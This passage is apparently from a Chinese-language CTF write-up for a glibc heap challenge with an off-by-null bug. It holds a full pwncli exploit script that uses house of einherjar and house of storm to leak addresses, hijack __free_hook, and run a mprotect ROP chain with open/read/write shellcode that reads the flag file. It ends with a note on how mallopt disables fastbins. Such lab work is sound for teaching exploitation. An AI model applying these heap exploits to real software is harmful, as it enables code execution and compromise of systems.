r(rdx=7)
r.raw(libc.sym.mprotect)
r.raw(heap_address+0x538)
code = """
        xor rsi,rsi
        mov rax,SYS_open
        call here
        .string "./flag"
        here:
        pop rdi
        syscall
        mov rdi,rax
        mov rsi,rsp
        mov rdx,0x100
        mov rax,SYS_read
        syscall
        mov rdi,1
        mov rsi,rsp
        mov rdx,0x100
        mov rax,SYS_write
        syscall
        mov rax,SYS_exit
        syscall
    """
sc = asm(code)
r.raw(sc)

payload = flat({
    0x00:b"echo *; read FLAG < ./flag;echo $FLAG",
    0xa0:pack(heap_address+0x450+0xa0),   #rsp
    0xa8:r.chain()
},filler='\x00')
edit(2,payload)
edit(4,pack(mov_rsp_ret))
dele(2)

完整 exp

#!/usr/bin/env python3
# Date: 2024-01-23 17:05:38
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=True, do_initial=False)

def cmd(i, prompt="Choice: \n"):
    sla(prompt, i)

def add(nb):
    cmd('1')
    sla('Size: ',str(nb))
    #......

def edit(idx,content):
    cmd('2')
    sla('Index: ',str(idx))
    sa('Content: ',content)
    #......

def show(idx):
    cmd('4')
    sla('Index: ',str(idx))
    return rl()[:-1]
    #......

def dele(idx):
    cmd('3')
    sla('Index: ',str(idx))
  

# edit have off by null vuln 
# i think target is __free_hook , create a fake chunk in there and alloc it 

# house of einherjar
# leak address
add(0x18)#0
add(0x28)#1 use for fake largebin bk
add(0xf8)#2
add(0x18)#3

add(0x18)#4
add(0x18)#5

add(0x18)#6


dele(0)
edit(1,b'a'*0x20+pack(0x50))
dele(2)
add(0x18)#0
leak = show(1)
leak = unpack(leak,'all')
libc.address = leak - 0x3c4b78
success(f"leak address => {hex(leak)}")
success(f"libc address => {hex(libc.address)}")

# leak haep
add(0x128)#2
dele(5)
dele(2)
leak2 = show(1)
leak2 = unpack(leak2,'all')
heap_address = leak2 & ~(0xfff)
success(f"heap leak address => {hex(leak2)}")
success(f"heap address => {hex(heap_address)}")

# house of storm
# prepare the largebin & unsortedbin
dele(6)
dele(4)
dele(3)
add(0x3f8)  #2
add(0x18)   #3
add(0x4f8)  #4
add(0x18)   #5
add(0x3f8)  #6
add(0x18)   #7

dele(4)
edit(5,b'5'*0x10+pack(0x520))
dele(6)

dele(2)
add(0x4f8)  #2  rop

target = libc.sym.__free_hook - 0x10



edit(1,flat({
    0x00:pack(leak+0x3f0)+pack(target+0x8),   # bk
    0x10:pack(leak2+0x20)+pack(target-0x20+3),   # bk_nextsize
}))
edit(5,pack(leak)+pack(target))   # unsortedbin bk

add(0x48)   #4

# 多种方法可以拿flag
# 1. rop 或 srop mprotect 修改栈为可执行,写入shellcode,orw
# 2. rop orw

mov_rsp_ret = libc.address+0x47b85
addr = heap_address+0x450
r = ROP(libc)
r(rdi=heap_address)
r(rsi=0x1000)
r(rdx=7)
r.raw(libc.sym.mprotect)
r.raw(heap_address+0x538)
code = """
        xor rsi,rsi
        mov rax,SYS_open
        call here
        .string "./flag"
        here:
        pop rdi
        syscall
        mov rdi,rax
        mov rsi,rsp
        mov rdx,0x100
        mov rax,SYS_read
        syscall
        mov rdi,1
        mov rsi,rsp
        mov rdx,0x100
        mov rax,SYS_write
        syscall
        mov rax,SYS_exit
        syscall
    """
sc = asm(code)
r.raw(sc)

payload = flat({
    0x00:b"echo *; read FLAG < ./flag;echo $FLAG",
    0xa0:pack(heap_address+0x450+0xa0),   #rsp
    0xa8:r.chain()
},filler='\x00')
edit(2,payload)
edit(4,pack(mov_rsp_ret))
dele(2)
# edit the bk & bk_nextsize

ia()

探究:fastbin 怎么被禁用的?

我还在好奇是怎么禁用fastbin的时候注意到init函数中的:

 mallopt(1, 0);

第一个参数是选项,第二个参数是设置的值:

/*
  mallopt(int parameter_number, int parameter_value)
  Sets tunable parameters The format is to provide a
  (parameter-number, parameter-value) pair.  mallopt then sets the
  corresponding parameter to the argument value if it can (i.e., so
  long as the value is meaningful), and returns 1 if successful else
  0.  SVID/XPG/ANSI defines four standard param numbers for mallopt,
  normally defined in malloc.h.  Only one of these (M_MXFAST) is used
  in this malloc. The others (M_NLBLKS, M_GRAIN, M_KEEP) don't apply,
  so setting them has no effect. But this malloc also supports four
  other options in mallopt. See below for details.  Briefly, supported
  parameters are as follows (listed defaults are for "typical"
  configurations).

  Symbol            param #   default    allowed param values
  M_MXFAST          1         64         0-80  (0 disables fastbins)
  M_TRIM_THRESHOLD -1         128*1024   any   (-1U disables trimming)
  M_TOP_PAD        -2         0          any
  M_MMAP_THRESHOLD -3         128*1024   any   (or 0 if no MMAP support)
  M_MMAP_MAX       -4         65536      any   (0 disables use of mmap)
*/

这里是设置M_MXFAST = 0,由此禁用了 fastbin

参考资料


Comment